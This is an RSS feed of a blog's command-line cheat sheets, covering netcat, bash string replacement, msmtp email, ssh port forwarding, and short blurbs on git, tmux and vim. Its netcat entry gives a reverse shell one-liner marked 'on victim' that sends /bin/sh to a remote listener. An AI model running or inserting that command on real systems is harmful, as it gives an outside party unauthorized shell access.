<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>commandline on Jblog</title><link>https://jblog.codevillains.com/tags/commandline/</link><description>Recent content in commandline on Jblog</description><generator>Hugo -- gohugo.io</generator><copyright>Copyright © 2022-2025 Jblog. All Rights Reserved.</copyright><lastBuildDate>Thu, 06 May 2021 00:00:00 +0200</lastBuildDate><atom:link href="https://jblog.codevillains.com/tags/commandline/index.xml" rel="self" type="application/rss+xml"/><item><title>Netcat</title><link>https://jblog.codevillains.com/cheat/nc/</link><pubDate>Thu, 06 May 2021 00:00:00 +0200</pubDate><guid>https://jblog.codevillains.com/cheat/nc/</guid><description><![CDATA[<h2 id="netcat-shells" data-numberify>Netcat shells<a class="anchor ms-1" href="#netcat-shells"></a></h2>
<p>Easiest way to make shell using netcat is to use <code>-e</code> option:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl"><span class="c1"># server - on victim</span>
</span></span><span class="line"><span class="cl">nc 192.168.56.1 <span class="m">4444</span> -e /bin/sh
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Client</span>
</span></span><span class="line"><span class="cl">nc -nvlp <span class="m">4444</span>
</span></span></code></pre></div>]]></description></item><item><title>Shells</title><link>https://jblog.codevillains.com/cheat/shells/</link><pubDate>Sat, 10 Apr 2021 00:00:00 +0200</pubDate><guid>https://jblog.codevillains.com/cheat/shells/</guid><description><![CDATA[<h2 id="bash" data-numberify>Bash gnu<a class="anchor ms-1" href="#bash"></a></h2>
<h3 id="replacements" data-numberify>Replacements<a class="anchor ms-1" href="#replacements"></a></h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl"><span class="cp"></span><span class="nv">input</span><span class="o">=</span><span class="s2">&#34;I love Suzi and Marry&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">replacement</span><span class="o">=</span><span class="s2">&#34;Sara&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;</span><span class="si">${</span><span class="nv">input</span><span class="p">/Suzi/</span><span class="nv">$replacement</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="c1"># &#39;I love Sara and Marry&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># To replace all occurrences, use ${parameter//pattern/string}:</span>
</span></span></code></pre></div>]]></description></item><item><title>Commandline Email</title><link>https://jblog.codevillains.com/cheat/commandline-email/</link><pubDate>Mon, 21 Dec 2020 00:00:00 +0100</pubDate><guid>https://jblog.codevillains.com/cheat/commandline-email/</guid><description><![CDATA[msmtp Send mail via commandline
 Configure it like arch wiki advises. Then just echo -e &quot;Subject: Hello\nI like you.&quot; | msmtp bob@example.com  Elaborate example:
printf &#34;To: ala@ela.com\nFrom: me@email.com\nSubject: Test \nThis is body.&#34; | msmtp ala@ela.com tempmail Bash client for 1secmail (temporary mail) Github.
# Generete new address tmpmail -g # Read last email (by default in w3m, you can specify --browser) tmpmail -r ]]></description></item><item><title>Git</title><link>https://jblog.codevillains.com/cheat/git/</link><pubDate>Sun, 20 Dec 2020 00:00:00 +0100</pubDate><guid>https://jblog.codevillains.com/cheat/git/</guid><description>&lt;p>Notes about easy-to-forget git features 😉.&lt;/p></description></item><item><title>GNU Utils</title><link>https://jblog.codevillains.com/cheat/gnu-utils/</link><pubDate>Sun, 20 Dec 2020 00:00:00 +0100</pubDate><guid>https://jblog.codevillains.com/cheat/gnu-utils/</guid><description><![CDATA[<p>Cheatsheet for miscellaneous GNU utils. <code>makefile</code>, <code>paralell</code>, <code>date</code>.
For <code>bash</code> look for <a href="/cheat/shells/">shells</a>, for <code>awk</code> <a href="/cheat/text-processing/">here</a>.</p>]]></description></item><item><title>Linux Desktop</title><link>https://jblog.codevillains.com/cheat/linux-desktop/</link><pubDate>Sun, 20 Dec 2020 00:00:00 +0100</pubDate><guid>https://jblog.codevillains.com/cheat/linux-desktop/</guid><description>&lt;p>Cheatshets concering desktop usage of linux.
X11, network manager etc.&lt;/p></description></item><item><title>Ssh</title><link>https://jblog.codevillains.com/cheat/ssh/</link><pubDate>Sun, 20 Dec 2020 00:00:00 +0100</pubDate><guid>https://jblog.codevillains.com/cheat/ssh/</guid><description><![CDATA[<h2 id="port-forwarding" data-numberify>Port forwarding<a class="anchor ms-1" href="#port-forwarding"></a></h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl"><span class="c1"># Remote to local</span>
</span></span><span class="line"><span class="cl">ssh -L local_port:remote_address:remote_port username@server.com
</span></span><span class="line"><span class="cl"><span class="c1"># Local to remote</span>
</span></span><span class="line"><span class="cl">ssh -R remote_port:local_address:local_port username@server.com
</span></span></code></pre></div>]]></description></item><item><title>Structured Text Processing</title><link>https://jblog.codevillains.com/cheat/structured-text-processing/</link><pubDate>Sun, 20 Dec 2020 00:00:00 +0100</pubDate><guid>https://jblog.codevillains.com/cheat/structured-text-processing/</guid><description><![CDATA[<p><code>jq</code>, <code>xmlstarlet</code> and friends.</p>]]></description></item><item><title>Tmux</title><link>https://jblog.codevillains.com/cheat/tmux/</link><pubDate>Sun, 20 Dec 2020 00:00:00 +0100</pubDate><guid>https://jblog.codevillains.com/cheat/tmux/</guid><description>&lt;p>Tmux - &lt;!-- raw HTML omitted -->the&lt;!-- raw HTML omitted --> terminal multiplexer.&lt;/p></description></item><item><title>Unstructured Text Processing</title><link>https://jblog.codevillains.com/cheat/text-processing/</link><pubDate>Sun, 20 Dec 2020 00:00:00 +0100</pubDate><guid>https://jblog.codevillains.com/cheat/text-processing/</guid><description><![CDATA[<p>Tricks concerning <code>awk</code>, <code>sed</code>, <code>csplit</code> and other tool that work with unstructured text.</p>]]></description></item><item><title>Vim</title><link>https://jblog.codevillains.com/cheat/vim/</link><pubDate>Sun, 20 Dec 2020 00:00:00 +0100</pubDate><guid>https://jblog.codevillains.com/cheat/vim/</guid><description>&lt;p>Some easy-to-forget vim tricks.&lt;/p></description></item></channel></rss>